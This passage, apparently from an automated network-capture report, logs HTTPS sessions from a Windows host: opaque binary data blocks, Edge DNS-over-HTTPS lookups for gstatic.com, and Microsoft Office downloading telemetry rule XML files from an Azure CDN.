,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-26 00:41:41 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-26 00:41:42 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-26 00:41:42 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-26 00:41:42 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49870	162.159.61.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d590cf09422e-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0c 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49872	172.64.41.3	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 00:41:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 00:41:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e85d59288450f64-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 00:41:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004141Z-174f7845968frfdmhC1EWRxxbw0000000up00000000065cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004141Z-174f78459684bddphC1EWRbht40000000udg000000006mg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:41 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:42 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004141Z-174f78459685m244hC1EWRgp2c0000000umg0000000038y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:42 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004141Z-174f78459684bddphC1EWRbht40000000uc0000000006axd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:42 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004142Z-174f7845968j6t2phC1EWRcfe80000000utg0000000069ex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:43 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:43 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004143Z-174f7845968nxc96hC1EWRspw80000000ue0000000005y58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
